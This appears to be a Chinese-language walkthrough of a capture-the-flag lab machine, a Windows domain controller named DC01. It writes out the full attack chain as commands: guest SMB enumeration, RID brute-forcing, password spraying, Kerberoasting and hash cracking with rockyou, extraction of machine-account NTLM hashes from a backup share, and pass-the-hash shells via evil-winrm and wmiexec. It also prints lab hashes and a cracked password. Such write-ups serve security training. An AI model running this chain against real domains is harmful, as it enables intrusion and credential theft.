image-20250428213034133

image-20250427211654125

操作系统:Windows(域控服务器,主机名:DC01)

开放端口和服务:

53 - DNS

88 - Kerberos(认证服务)

135 - RPC

139/445 - SMB(文件共享)

389/3268 - LDAP(AD 目录服务)

464 - Kerberos密码修改

593 - RPC over HTTP

636/3269 - LDAPS(加密LDAP)

其他信息:

域名是:SOUPEDECODE.LOCAL

SMB要求签名(意味着直接pass-the-hash/relay SMB攻击受限)

时间存在时钟偏移(+15小时)

先给域名加入hosts文件

然后收集smb信息

crackmapexec smb 192.168.56.128 -u '' -p '' --shares
crackmapexec smb 192.168.56.128 -u 'anonymous' -p '' --shares
crackmapexec smb 192.168.56.128 -u 'guest' -p '' --shares
crackmapexec smb 192.168.56.128 -u 'banyio' -p '' --shares
smbmap -H 192.168.56.128 -u guest
smbmap -H 192.168.56.128 -u anonymous
smbmap -H 192.168.56.128 -u banyio

image-20250428215907925

可以利用guest对IPC$的可读权限进行域用户和域用户名的枚举

rpcclient -U "" 192.168.56.128
enumdomusers
enumdomgroups
querydominfo
lsaquery
失败
impacket-lookupsid banyio@192.168.56.128
nxc smb 192.168.56.128 -u guest -p "" --rid-brute
枚举成功
两者的区别
rpcclient enumdomusers
→ 相当于“老板,能给我公司所有员工名单吗?”
→ 如果你只是个门卫(guest用户),老板肯定不答应你。
lookupsid.py
→ 相当于“自己偷偷查,每个员工ID是不是在这家公司”,一个个试出来的。
→ 慢,但是只要门还开着(IPC$连得上),你就能一点点摸出来。

image-20250428224318418

提取出用户名

impacket-lookupsid banyio@192.168.56.128 > name.txt 或nxc smb 192.168.0.202 -u guest -p "" --rid-brute | tee nxc.rid.txt

cat name.txt | grep SidTypeUser | cut -d '\' -f2 | cut -d ' ' -f1 > user.txt或
garffff@garffff:~/hackmyvm/dc01$ cat nxc.rid.txt | grep SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txt
nxc smb $IP -u websvc -p 'jordan23' --rid-brute | grep SidTypeUser |cut -d: -f2 |cut -d \\ -f2 |cut -d ' ' -f1 > names.txt

进行爆破

nxc smb 192.168.56.128 -u user.txt -p user.txt
nxc smb 192.168.56.128 -u user.txt -p user.txt --no-brute这样的是行行对应爆破

image-20250429201612352

爆出用户名密码

登录并找到flag

image-20250429202252541

image-20250429202304806

接下来就是提权找另一个用户了

下面是就是Kerberoasting攻击

impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.56.128 -request

image-20250429211918881

再次查看端口发现是因为时间不同步造成的

ntpdate -q SOUPEDECODE.LOCAL

faketime '53998 seconds' impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.56.128 -request

这样就解决了时间不同步问题

接下来就是爆破

faketime '53998 seconds' impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.56.128 -request -outputfile hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
这个看不出密码是哪个用户的
所以可以用
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

image-20250429214820003

得道密码Password123!!用户为file_svc

image-20250429220227013

多了一些权限

smbclient //192.168.56.128/backup -U file_svc

image-20250429220426033

┌──(root㉿kali)-[/dc1]
└─# cat backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::

接下来将用户名和密码分开

cat backup_extract.txt | cut -d ":" -f 1 > new_users.txt
cat backup_extract.txt | cut -d ':' -f4 > hashes.txt
爆破
nxc smb 192.168.56.128 -u new_users.txt -H hashes.txt

image-20250429221624556

得到对应的用户和密码

SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)

evil-winrm -i 10.0.2.31 -u 'FileServer$' -H e41da7e79a4c76dbd9cf79d1cb325559(用的WinRM协议)

wmiexec.py 'SOUPEDECODE.LOCAL/FileServer$@192.168.56.128' -hashes :e41da7e79a4c76dbd9cf79d1cb325559(用的WMI协议)

远程连接获得shell

image-20250429222950754

rootflag

在admin桌面

image-20250429223332116